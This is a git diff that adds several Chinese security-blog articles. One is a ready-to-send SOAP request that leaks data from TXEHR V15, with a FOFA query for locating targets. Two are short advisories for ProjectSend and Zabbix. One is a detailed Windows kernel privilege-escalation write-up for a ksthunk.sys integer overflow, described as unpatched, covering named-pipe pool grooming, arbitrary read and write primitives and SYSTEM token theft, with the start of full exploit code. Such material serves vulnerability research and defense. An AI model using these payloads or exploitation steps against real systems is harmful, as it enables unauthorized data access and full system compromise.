||||||
|

|
||||||
|
|
151
doc/【已复现】Mozilla Firefox 释放后重用漏洞(CVE-2024-9680)安全风险通告第二次更新.md
Normal file
151
doc/【已复现】Mozilla Firefox 释放后重用漏洞(CVE-2024-9680)安全风险通告第二次更新.md
Normal file
File diff suppressed because one or more lines are too long
63
doc/【漏洞复现】同享TXEHR V15人力管理管理平台信息泄露漏洞.md
Normal file
63
doc/【漏洞复现】同享TXEHR V15人力管理管理平台信息泄露漏洞.md
Normal file
@ -0,0 +1,63 @@
|
|||||||
|
# 【漏洞复现】同享TXEHR V15人力管理管理平台信息泄露漏洞
|
||||||
|
原创 清风 白帽攻防 2024-11-29 01:13
|
||||||
|
|
||||||
|
## 免责声明:请勿使用本文中提到的技术进行非法测试或行为。使用本文中提供的信息或工具所造成的任何后果和损失由使用者自行承担,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
|
||||||
|
简介
|
||||||
|
|
||||||
|
同享软件成立于1997年,总部位于东莞南城南新产业国际。公司致力于研发和推广人力资源信息化产品,帮助企业打造统一的人力资源数字化平台,提升企业的人才管理能力和效率,促进员工的快速成长,并协助企业实现智能化决策。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
漏洞描述
|
||||||
|
|
||||||
|
同享TXEHR V15人力管理平台的Assistant/Default.aspx接口存在敏感信息泄露漏洞。
|
||||||
|
fofa语法```
|
||||||
|
body="/Assistant/Default.aspx"
|
||||||
|
```
|
||||||
|
漏洞复现```
|
||||||
|
POST /Service/ActiveXConnector.asmx HTTP/1.1
|
||||||
|
Host: ip
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
|
||||||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||||
|
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||||||
|
Accept-Encoding: gzip, deflate, br
|
||||||
|
Connection: close
|
||||||
|
Upgrade-Insecure-Requests: 1
|
||||||
|
Priority: u=0, i
|
||||||
|
Content-Type: text/xml;charset=UTF-8
|
||||||
|
Content-Length: 224
|
||||||
|
|
||||||
|
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
|
||||||
|
<soapenv:Header/>
|
||||||
|
<soapenv:Body>
|
||||||
|
<tem:GetActivexConnector/>
|
||||||
|
</soapenv:Body>
|
||||||
|
</soapenv:Envelope>
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
批量检测(批量检测POC工具请在公众号知识星球获取):
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
修复建议
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
1、限制访问权限
|
||||||
|
|
||||||
|
2、更新或禁用不必要的功能
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
网安交流群
|
||||||
|
|
||||||
|

|
||||||
|
|
85
doc/【漏洞通告】ProjectSend身份验证绕过漏洞安全风险通告.md
Normal file
85
doc/【漏洞通告】ProjectSend身份验证绕过漏洞安全风险通告.md
Normal file
@ -0,0 +1,85 @@
|
|||||||
|
# 【漏洞通告】ProjectSend身份验证绕过漏洞安全风险通告
|
||||||
|
嘉诚安全 2024-11-29 07:50
|
||||||
|
|
||||||
|
**漏洞背景**
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
近日,嘉诚安全监测到ProjectSend修复了一个身份验证绕过漏洞,漏洞编号为:
|
||||||
|
CVE-2024-11680。
|
||||||
|
|
||||||
|
|
||||||
|
ProjectSend是一个开源文件共享Web应用程序,旨在促进服务器管理员和客户端之间的安全、私密文件传输。
|
||||||
|
|
||||||
|
|
||||||
|
鉴于漏洞危害较大,嘉诚安全提醒相关用户尽快更新至安全版本,避免引发漏洞相关的网络安全事件。
|
||||||
|
|
||||||
|
|
||||||
|
**漏洞详情**
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
经研判,该漏洞为
|
||||||
|
**高危**
|
||||||
|
漏洞,已发现被
|
||||||
|
**在野利用**
|
||||||
|
,且
|
||||||
|
**PoC/EXP已公开**
|
||||||
|
。未经身份验证的远程攻击者可通过向options.php发送恶意构造的HTTP POST请求来利用该漏洞,成功利用可能导致更改站点配置(比如修改站点标题、启用用户注册等)、上传恶意文件(WebShell)或注入恶意JavaScript。
|
||||||
|
|
||||||
|
|
||||||
|
**危害影响**
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
影响版本:
|
||||||
|
|
||||||
|
ProjectSend < r1720
|
||||||
|
|
||||||
|
|
||||||
|
**处置建议**
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
目前该漏洞已经修复,受影响用户可升级到以下版本:
|
||||||
|
|
||||||
|
ProjectSend >= r1720
|
||||||
|
|
||||||
|
下载链接:
|
||||||
|
|
||||||
|
https://github.com/projectsend/projectsend/commit/193367d937b1a59ed5b68dd4e60bd53317473744
|
||||||
|
|
||||||
|
https://github.com/projectsend/projectsend/releases/tag/r1720
|
||||||
|
|
||||||
|
参考链接:
|
||||||
|
|
||||||
|
https://github.com/projectsend/projectsend
|
||||||
|
|
||||||
|
https://thehackernews.com/2024/11/critical-flaw-in-projectsend-under.html
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|

|
||||||
|

|
||||||
|
|
||||||
|
|
83
doc/【漏洞通告】Zabbix SQL注入漏洞安全风险通告.md
Normal file
83
doc/【漏洞通告】Zabbix SQL注入漏洞安全风险通告.md
Normal file
@ -0,0 +1,83 @@
|
|||||||
|
# 【漏洞通告】Zabbix SQL注入漏洞安全风险通告
|
||||||
|
嘉诚安全 2024-11-29 07:50
|
||||||
|
|
||||||
|
**漏洞背景**
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
近日,嘉诚安全监测到Zabbix中修复了一个SQL注入漏洞,漏洞编号为:
|
||||||
|
CVE-2024-42327。
|
||||||
|
|
||||||
|
|
||||||
|
Zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级开源监控解决方案,可以用来监控服务器、硬件、网络等。
|
||||||
|
|
||||||
|
|
||||||
|
鉴于漏洞危害较大,嘉诚安全提醒相关用户尽快更新至安全版本,避免引发漏洞相关的网络安全事件。
|
||||||
|
|
||||||
|
|
||||||
|
**漏洞详情**
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
经研判,该漏洞为
|
||||||
|
**高危**
|
||||||
|
漏洞
|
||||||
|
。Zabbix前端的CUser类中的addRelatedObjects函数未对输入数据进行充分验证和转义,导致具有API访问权限的恶意用户可以通过user.get API传递特制输入触发SQL注入攻击,进而利用该漏洞实现权限提升或访问敏感数据。
|
||||||
|
|
||||||
|
|
||||||
|
**危害影响**
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
影响版本:
|
||||||
|
|
||||||
|
Zabbix 6.0.0 - 6.0.31
|
||||||
|
|
||||||
|
Zabbix 6.4.0 - 6.4.16
|
||||||
|
|
||||||
|
Zabbix 7.0.0
|
||||||
|
|
||||||
|
|
||||||
|
**处置建议**
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
目前该漏洞已经修复,受影响用户可升级到Zabbix 6.0.32rc1、Zabbix 6.4.17rc1、Zabbix 7.0.1rc1或更高版本。
|
||||||
|
|
||||||
|
下载链接:
|
||||||
|
|
||||||
|
https://github.com/zabbix/zabbix/tags
|
||||||
|
|
||||||
|
https://www.zabbix.com/download
|
||||||
|
|
||||||
|
参考链接:
|
||||||
|
|
||||||
|
https://support.zabbix.com/browse/ZBX-25623
|
||||||
|
|
||||||
|
https://nvd.nist.gov/vuln/detail/CVE-2024-42327
|
||||||
|
|
||||||
|
|
||||||
|

|
||||||
|

|
||||||
|
|
||||||
|
|
946
doc/仍未出补丁,Windows新的PE漏洞及完整利用代码.md
Normal file
946
doc/仍未出补丁,Windows新的PE漏洞及完整利用代码.md
Normal file
@ -0,0 +1,946 @@
|
|||||||
|
# 仍未出补丁,Windows新的PE漏洞及完整利用代码
|
||||||
|
二进制空间安全 2024-11-29 03:34
|
||||||
|
|
||||||
|
part1
|
||||||
|
|
||||||
|
|
||||||
|
点击上方
|
||||||
|
蓝字关注我们
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
往期推荐
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
[解密还原被BitLocker加密的数据](https://mp.weixin.qq.com/s?__biz=MzkxOTUyOTc0NQ==&mid=2247492631&idx=1&sn=040fddbaa96b7bfef0c29aecf78b5c9b&scene=21#wechat_redirect)
|
||||||
|
|
||||||
|
|
||||||
|
[MySQL渗透实战](http://mp.weixin.qq.com/s?__biz=MzkxOTUyOTc0NQ==&mid=2247492419&idx=1&sn=3628b04de7316563b4b4facc13a4d60d&chksm=c1a2133df6d59a2b5e94300e06e842d8f0ad6364a3d20cd87e06fa0364ba854a031eda515ffb&scene=21#wechat_redirect)
|
||||||
|
|
||||||
|
|
||||||
|
[比netcat更高级的网络渗透基础工具](http://mp.weixin.qq.com/s?__biz=MzkxOTUyOTc0NQ==&mid=2247492348&idx=1&sn=aa6fbaa750fcc8c843675cff90bc76f6&chksm=c1a21282f6d59b94d5426dc8dcb42d10cadec163c1fd478f91b50287e8ad13dd7b973f32512c&scene=21#wechat_redirect)
|
||||||
|
|
||||||
|
|
||||||
|
[黑客渗透超级管理终端](http://mp.weixin.qq.com/s?__biz=MzkxOTUyOTc0NQ==&mid=2247492286&idx=1&sn=56a683c028349617626341b6f4883d67&chksm=c1a212c0f6d59bd6d166f5a59cf5ed35bb29318d2ba1f8b35e93f2150c7d565e721e3e1933cc&scene=21#wechat_redirect)
|
||||||
|
|
||||||
|
|
||||||
|
[一款超乎想象的Windows提权工具](http://mp.weixin.qq.com/s?__biz=MzkxOTUyOTc0NQ==&mid=2247486680&idx=2&sn=0e61be01ea31e9c15f305b45b7fed674&chksm=c1a1fca6f6d675b0e97cc79ad3f5c288b0151f59672d4b1aa357b28ee1445427c09364abaa39&scene=21#wechat_redirect)
|
||||||
|
|
||||||
|
|
||||||
|
[世界顶级渗透测试标准方法](http://mp.weixin.qq.com/s?__biz=MzkxOTUyOTc0NQ==&mid=2247486761&idx=2&sn=58067fe5ff5809ff4c7e616f120de2ab&chksm=c1a1fd57f6d674410e1d19164a87985973721b233eca883436cd9260a1ccab8f81b4552ca897&scene=21#wechat_redirect)
|
||||||
|
|
||||||
|
|
||||||
|
[Nmap的三种漏洞扫描模式原理及实战讲解](http://mp.weixin.qq.com/s?__biz=MzkxOTUyOTc0NQ==&mid=2247486276&idx=1&sn=69bc6e1874b1ef46c1747995c244ec47&chksm=c1a1fb3af6d6722c38d1160921a590351191d45b57ecede02618ca94e54564c01260b04daa55&scene=21#wechat_redirect)
|
||||||
|
|
||||||
|
|
||||||
|
[Windows下24种进程注入方法模板](http://mp.weixin.qq.com/s?__biz=MzkxOTUyOTc0NQ==&mid=2247491308&idx=1&sn=46294d95c4f3ddbc2cf9436a5687918f&chksm=c1a1ee92f6d6678442995217091fde1df1199b6e824fc1c29101bd35abac94f09090add5c30d&scene=21#wechat_redirect)
|
||||||
|
|
||||||
|
|
||||||
|
[黑客在Windows系统下提权的8种主要姿势](http://mp.weixin.qq.com/s?__biz=MzkxOTUyOTc0NQ==&mid=2247487903&idx=1&sn=ec535ffa91800e3c5ef48e602c8a0e20&chksm=c1a1e1e1f6d668f7cd82cb29d568934f6bc03f06add680dcb6db5d10bffd9a62f13aab883530&scene=21#wechat_redirect)
|
||||||
|
|
||||||
|
|
||||||
|
[EDR联动数据包封锁技术](http://mp.weixin.qq.com/s?__biz=MzkxOTUyOTc0NQ==&mid=2247491131&idx=1&sn=c0d29d5017a4b8e67b7965ae9441efcc&chksm=c1a1ee45f6d66753e0317afddaf44b8729678fe9fdc264de4babfd818b6c6f48c65133b8d2ba&scene=21#wechat_redirect)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
将二进制空间安全设为"星标⭐️"
|
||||||
|
|
||||||
|
第一时间收到文章更新
|
||||||
|
###
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
摘要
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
在 ksthunk.sys 的CKSAutomationThunk::ThunkEnableEventIrp
|
||||||
|
中存在一个整数溢出漏洞,本地攻击者可以利用该漏洞提升在 Windows 操作系统中的权限。在 TyphoonPWN 2024 活动中,成功展示了该漏洞的利用,并获得了第二名。经过数月等待,厂商告知该漏洞为重复漏洞,且已修复(但未说明具体修复时间)。然而,当在最新版本的 Windows 11 上测试时,该漏洞依然有效。厂商未提供 CVE 编号或补丁信息。
|
||||||
|
|
||||||
|

|
||||||
|
###
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
技术分析
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
该漏洞影响版本: Windows 11 23H2
|
||||||
|
|
||||||
|
ksthunk.sys 是用于内核流服务的 WOW 处理程序,其目的是确保 32 位进程在 64 位系统上正确运行。其中,当 IOCTL 编号为 0x2F0007 时,会调用 CKSAutomationThunk::ThunkEnableEventIrp。其工作流程如下:
|
||||||
|
|
||||||
|
```
|
||||||
|
// Only Called when the calling process is 32bit.
|
||||||
|
__int64 __fastcall CKSAutomationThunk::ThunkEnableEventIrp(__int64 a1, PIRP a2, __int64 a3, int *a4)
|
||||||
|
{
|
||||||
|
...
|
||||||
|
inbuflen = CurrentStackLocation->Parameters.DeviceIoControl.InputBufferLength;
|
||||||
|
outbuflen = CurrentStackLocation->Parameters.DeviceIoControl.OutputBufferLength;
|
||||||
|
// [1]. Align the length of output buffer
|
||||||
|
outlen_adjust = (outbuflen + 0x17) & 0xFFFFFFF8;
|
||||||
|
if ( a2->AssociatedIrp.MasterIrp )
|
||||||
|
return 1i64;
|
||||||
|
|
||||||
|
if ( (unsigned int)inbuflen < 0x18 )
|
||||||
|
ExRaiseStatus(-1073741306);
|
||||||
|
|
||||||
|
ProbeForRead(CurrentStackLocation->Parameters.DeviceIoControl.Type3InputBuffer, inbuflen, 1u);
|
||||||
|
if ( (*((_DWORD *)CurrentStackLocation->Parameters.DeviceIoControl.Type3InputBuffer + 5) & 0xEFFFFFFF) == 1
|
||||||
|
|| (*((_DWORD *)CurrentStackLocation->Parameters.DeviceIoControl.Type3InputBuffer + 5) & 0xEFFFFFFF) == 2
|
||||||
|
|| (*((_DWORD *)CurrentStackLocation->Parameters.DeviceIoControl.Type3InputBuffer + 5) & 0xEFFFFFFF) == 4 )
|
||||||
|
{
|
||||||
|
// [2]. Validate the Length
|
||||||
|
if ( (unsigned int)outbuflen < 0x10 )
|
||||||
|
ExRaiseStatus(-1073741306);
|
||||||
|
if ( outlen_adjust < (int)outbuflen + 16 || outlen_adjust + (unsigned int)inbuflen < outlen_adjust )
|
||||||
|
ExRaiseStatus(-1073741306);
|
||||||
|
|
||||||
|
// [3]. Allocate the buffer to store the data
|
||||||
|
// 0x61 == POOL_FLAG_USE_QUOTA | POOL_FLAG_RAISE_ON_FAILURE POOL_FLAG_NON_PAGED
|
||||||
|
a2->AssociatedIrp.MasterIrp = (struct _IRP *)ExAllocatePool2(
|
||||||
|
0x61i64,
|
||||||
|
outlen_adjust + (unsigned int)inbuflen,
|
||||||
|
1886409547i64);
|
||||||
|
a2->Flags |= 0x30u;
|
||||||
|
ProbeForRead(a2->UserBuffer, outbuflen, 1u); // [*]
|
||||||
|
data = (__int64)a2->AssociatedIrp.MasterIrp;
|
||||||
|
...
|
||||||
|
// [4]. Copy the Data
|
||||||
|
if ( (unsigned int)outbuflen > 0x10 )
|
||||||
|
memmove((void *)(data + 0x20), (char *)a2->UserBuffer + 16, outbuflen - 16);
|
||||||
|
memmove(
|
||||||
|
(char *)a2->AssociatedIrp.MasterIrp + outlen_adjust,
|
||||||
|
CurrentStackLocation->Parameters.FileSystemControl.Type3InputBuffer,
|
||||||
|
inbuflen);
|
||||||
|
...
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
CKSAutomationThunk::ThunkEnableEventIrp 为 64 位系统正确保存输入和输出数据分配了一个新缓冲区。在 [1] 处,通过计算 (outbuflen + 0x17) & 0xFFFFFFF8 来调整输出缓冲区的对齐方式,从而得到 outlen_adjust。在 [2] 处,对某些长度进行了一些验证后,在 [3] 处分配了大小为 outlen_adjust + inbuflen 的缓冲区。最后,在 [4] 处将数据复制到该缓冲区中。
|
||||||
|
|
||||||
|
然而,在 [1] 处,计算 outbuflen + 0x17 时没有进行整数溢出验证。因此,outlen_adjust 可能被设置为较小的值,这导致在 [2] 处分配了较小的缓冲区大小。最终,在 [4] 处复制数据时会发生堆溢出。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
成功利用该漏洞面临两个困难点:
|
||||||
|
|
||||||
|
首先,ProbeForRead(a2->UserBuffer, outbuflen, 1u) 会检查 a2->UserBuffer 的大小是否为 outbuflen。要制造整数溢出,outbuflen 必须大于 0xFFFFFFE9。在 32 位程序中,我们无法分配如此大的内存空间。然而,ProbeForRead 的实现并不会检查缓冲区的大小,它只检查地址。
|
||||||
|
|
||||||
|
```
|
||||||
|
VOID ProbeForRead(ULONG_PTR Address, SIZE_T Length, ULONG Alignment) {
|
||||||
|
if ((Length) != 0) {
|
||||||
|
if ( (Address & (Alignment - 1)) != 0) {
|
||||||
|
ExRaiseDatatypeMisalignment();
|
||||||
|
}
|
||||||
|
if ( (Address + Length - 1) < Address || (Address + Length - 1) > MM_USER_PROBE_ADDRESS) {
|
||||||
|
ExRaiseAccessViolation();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
如上所示,ProbeForRead 只会检查地址的结束是否超出 MM_USER_PROBE_ADDRESS。由于地址被视为 ULONG_PTR(64 位),我们可以在不映射内存的情况下绕过 ProbeForRead(a2->UserBuffer, outbuflen, 1u)。
|
||||||
|
|
||||||
|
其次,在 [4] 处,数据的复制大小为 outbuflen - 16。正如之前提到的,由于 outbuflen 必须大于 0xFFFFFFE9,这一复制过程很可能导致崩溃。但通过利用用户内存故障异常,我们可以避免崩溃并按所需大小进行复制。如果发生用户内存故障异常,执行将停止并仅返回一个错误。因此,我们可以将内存布局设计如下所示。
|
||||||
|
|
||||||
|
```
|
||||||
|
a2->UserBuffer
|
||||||
|
+======================================
|
||||||
|
| ...... Buffer ....... | Unmapped Memory
|
||||||
|
+======================================
|
||||||
|
---------------------->| Copying until here
|
||||||
|
Kernel Memory
|
||||||
|
+======================================
|
||||||
|
| Allocated Mem | Next Memory ... |
|
||||||
|
+======================================
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
在复制数据时,当遇到未映射的内存时会发生用户内存故障异常。因此,复制过程将在预期的位置停止。
|
||||||
|
###
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
漏洞利用过程
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
缓冲区溢出发生在非分页池(Non-paged pool)中,我们可以利用命名管道(Named-pipe)技术进行漏洞利用。此外,由于分配大小和数据完全可被攻击者控制,因此漏洞利用难度不高。
|
||||||
|
|
||||||
|
在构造我的漏洞利用时,参考了该文档:
|
||||||
|
https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation/tree/master
|
||||||
|
。漏洞利用步骤如下:
|
||||||
|
|
||||||
|
1.喷射大小为 0x1000 的命名管道对象,并在它们之间制造一个间隙。较大的池(如大池 Large Pool)相比 LFH(低碎片堆)或 VS(虚拟分配池)在创建漏洞利用时更稳定。
|
||||||
|
|
||||||
|
2.触发 OOB(越界)漏洞。此操作会覆盖相邻的命名管道,其内存布局如下所示:
|
||||||
|
|
||||||
|
```
|
||||||
|
DATA_QUEUE_ENTRY:
|
||||||
|
NextEntry=whatever;
|
||||||
|
Irp=ideally 0;
|
||||||
|
SecurityContext=ideally 0;
|
||||||
|
EntryType=0;
|
||||||
|
QuotaInEntry=ideally 0; //mostly irrelevent in case we use the peek operation
|
||||||
|
DataSize=something bigger than the original size;
|
||||||
|
x=whatever;
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
3.利用被破坏的命名管道揭露相邻命名管道的数据。从这些信息中,我们可以获取池的内存地址。
|
||||||
|
|
||||||
|
4.再次触发 OOB 漏洞,构造任意读(arbitrary read)原语。被破坏的命名管道的内存布局如下:
|
||||||
|
|
||||||
|
(
|
||||||
|
https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation/tree/master?tab=readme-ov-file#complete-control-over-the-overflow-data
|
||||||
|
)
|
||||||
|
|
||||||
|
```
|
||||||
|
DATA_QUEUE_ENTRY:
|
||||||
|
NextEntry=whatever;
|
||||||
|
Irp=Forged IRP Address;
|
||||||
|
SecurityContext=ideally 0;
|
||||||
|
EntryType=1;
|
||||||
|
QuotaInEntry=ideally 0;
|
||||||
|
DataSize=arbitrary read size;
|
||||||
|
x=whatever;
|
||||||
|
IRP->SystemBuffer = arbitrary read address
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
5.通过调用 NtFsControlFile 将 IRP 包插入到命名管道中:
|
||||||
|
|
||||||
|
```
|
||||||
|
NtFsControlFile(pipe, 0, 0, 0, &isb, 0x119FF8, buffer, 0x1000, 0, 0);
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
然后,通过步骤 3 中泄露的数据获取 IRP 的地址。
|
||||||
|
|
||||||
|
6.使用任意读原语获取系统令牌地址, 如下所示:
|
||||||
|
|
||||||
|
```
|
||||||
|
CurThread_Irp = *(IRP + 0x20)
|
||||||
|
CurProcess = *(CurThread - IrpListOffset + ProcessOffset)
|
||||||
|
SystemProcess = Search active process list on CurProcess
|
||||||
|
SystemToken = *(SystemProcess + TokenOffset)
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
7.再次触发 OOB 漏洞,构造任意写(arbitrary write)原语。由于 vp777 文档中的技术在程序退出后可能会导致崩溃或系统假死,这里采用了其他技术实现任意写(在后文详细解释)。
|
||||||
|
|
||||||
|
8.将当前进程的令牌覆盖为 SYSTEM 令牌。
|
||||||
|
|
||||||
|
9.利用步骤 3 中泄露的数据还原被破坏的命名管道数据。
|
||||||
|
|
||||||
|
10.获得系统权限并享受管理员特权。
|
||||||
|
###
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
任意写入
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
为了利用漏洞,可以利用 nt!IopfCompleteRequest 代码,其具体实现如下所示:
|
||||||
|
|
||||||
|
```
|
||||||
|
...
|
||||||
|
flags = irp->Flags;
|
||||||
|
if ( (flags & 0x402) != 0 )
|
||||||
|
{
|
||||||
|
if ( (flags & 0x440) == 0 )
|
||||||
|
{
|
||||||
|
IopDequeueIrpFromThread(irp);
|
||||||
|
KeInitializeApc(
|
||||||
|
(_DWORD)Irp + 120,
|
||||||
|
(int)Irp->Tail.Overlay.Thread,
|
||||||
|
Irp->ApcEnvironment,
|
||||||
|
(int)IopCompletePageWrite,
|
||||||
|
0i64,
|
||||||
|
0i64,
|
||||||
|
0,
|
||||||
|
0i64);
|
||||||
|
KeInsertQueueApc(&Irp->Tail, 0i64, 0i64, v27);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
*irp->UserIosb = irp->IoStatus; // [*], copying 16bytes.
|
||||||
|
v56 = flags & 0x42;
|
||||||
|
if ( !v56 )
|
||||||
|
goto Set_Event_Return;
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
通过该漏洞,IRP 的数据可以完全被控制。因此,在代码中的 [*] 处,我们可以通过将 irp->UserIosb 设置为目标地址,并将 irp->IoStatus 设置为目标值,构造任意写原语。这条指令会复制结构体 _IO_STATUS_BLOCK(占用 16 字节)。
|
||||||
|
|
||||||
|
```
|
||||||
|
typedef struct _IO_STATUS_BLOCK {
|
||||||
|
union {
|
||||||
|
NTSTATUS Status;
|
||||||
|
PVOID Pointer;
|
||||||
|
} DUMMYUNIONNAME;
|
||||||
|
ULONG_PTR Information;
|
||||||
|
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
然而,在到达该点之前,IoStatus 的值已经发生了变化。以下代码展示了 IoStatus 的变化:
|
||||||
|
|
||||||
|
```
|
||||||
|
...
|
||||||
|
if ( QueueEntry->EntryType >= 2 ){
|
||||||
|
irp = NpRemoveDataQueueEntry((DATA_QUEUE_ENTRY **)a2, 0, a9);
|
||||||
|
if ( irp )
|
||||||
|
{
|
||||||
|
irp->IoStatus.Status = 0; // only Status set to zero
|
||||||
|
v45 = &irp->Tail.Overlay.ListEntry;
|
||||||
|
v46 = a9->Blink;
|
||||||
|
if ( v46->Flink != a9 )
|
||||||
|
goto LABEL_110;
|
||||||
|
v45->Flink = a9;
|
||||||
|
v45->Blink = v46;
|
||||||
|
v46->Flink = v45;
|
||||||
|
a9->Blink = v45;
|
||||||
|
}
|
||||||
|
...
|
||||||
|
}
|
||||||
|
...
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
如果命名管道条目的 EntryType 大于 2,则该条目会被 NpRemoveDataQueueEntry 移除,因为该条目无效。移除条目后,irp->IoStatus.Status 被设置为 0。然而,IoStatus.Information 并不会改变。因此,可以利用这一特性构造(部分的)任意写原语。
|
||||||
|
|
||||||
|
```
|
||||||
|
+0x468 CreateTime : _LARGE_INTEGER
|
||||||
|
+0x470 ProcessQuotaUsage : [2] Uint8B
|
||||||
|
+0x480 ProcessQuotaPeak : [2] Uint8B
|
||||||
|
+0x490 PeakVirtualSize : Uint8B
|
||||||
|
+0x498 VirtualSize : Uint8B
|
||||||
|
+0x4a0 SessionProcessLinks : _LIST_ENTRY
|
||||||
|
+0x4b0 ExceptionPortData : Ptr64 Void // Is it ok if it is overwritten to zero?
|
||||||
|
+0x4b0 ExceptionPortValue : Uint8B // Is it ok if it is overwritten to zero?
|
||||||
|
+0x4b0 ExceptionPortState : Pos 0, 3 Bits // Is it ok if it is overwritten to zero?
|
||||||
|
+0x4b8 Token : _EX_FAST_REF // Target Field
|
||||||
|
+0x4c0 MmReserved : Uint8B
|
||||||
|
+0x4c8 AddressCreationLock : _EX_PUSH_LOCK
|
||||||
|
+0x4d0 PageTableCommitmentLock : _EX_PUSH_LOCK
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
幸运的是,如果 ExceptionPortData/ExceptionPortValue(位于 Token 之前的字段)被清零,不会引发问题。因此,可以利用此原语,将当前进程的令牌覆盖为 SYSTEM 令牌,从而获得系统权限。
|
||||||
|
|
||||||
|

|
||||||
|
###
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
完整利用代码
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <winternl.h>
|
||||||
|
#include <winnt.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <cfgmgr32.h>
|
||||||
|
|
||||||
|
#pragma comment(lib, "Cfgmgr32.lib")
|
||||||
|
|
||||||
|
#define DATA_ENTRY_HEADER_SIZE 0x30
|
||||||
|
#define ENTRY_DATASIZE(x)((x) - DATA_ENTRY_HEADER_SIZE)
|
||||||
|
|
||||||
|
/* IRP for 64bitnt!_IRP +0x000 Type : Int2B +0x002 Size : Uint2B +0x004 AllocationProcessorNumber : Uint2B +0x006 Reserved : Uint2B +0x008 MdlAddress : Ptr64 _MDL +0x010 Flags : Uint4B +0x018 AssociatedIrp : <unnamed-tag> +0x020 ThreadListEntry : _LIST_ENTRY +0x030 IoStatus : _IO_STATUS_BLOCK +0x040 RequestorMode : Char +0x041 PendingReturned : UChar +0x042 StackCount : Char +0x043 CurrentLocation : Char +0x044 Cancel : UChar +0x045 CancelIrql : UChar +0x046 ApcEnvironment : Char +0x047 AllocationFlags : UChar +0x048 UserIosb : Ptr64 _IO_STATUS_BLOCK +0x048 IoRingContext : Ptr64 Void +0x050 UserEvent : Ptr64 _KEVENT +0x058 Overlay : <unnamed-tag> +0x068 CancelRoutine : Ptr64 void +0x070 UserBuffer : Ptr64 Void +0x078 Tail : <unnamed-tag>*/
|
||||||
|
#pragma pack(push, 8)
|
||||||
|
typedef struct {
|
||||||
|
SHORT Type;
|
||||||
|
USHORT Size;
|
||||||
|
USHORT AllocationProcessorNumber;
|
||||||
|
PVOID64 MdlAddress;
|
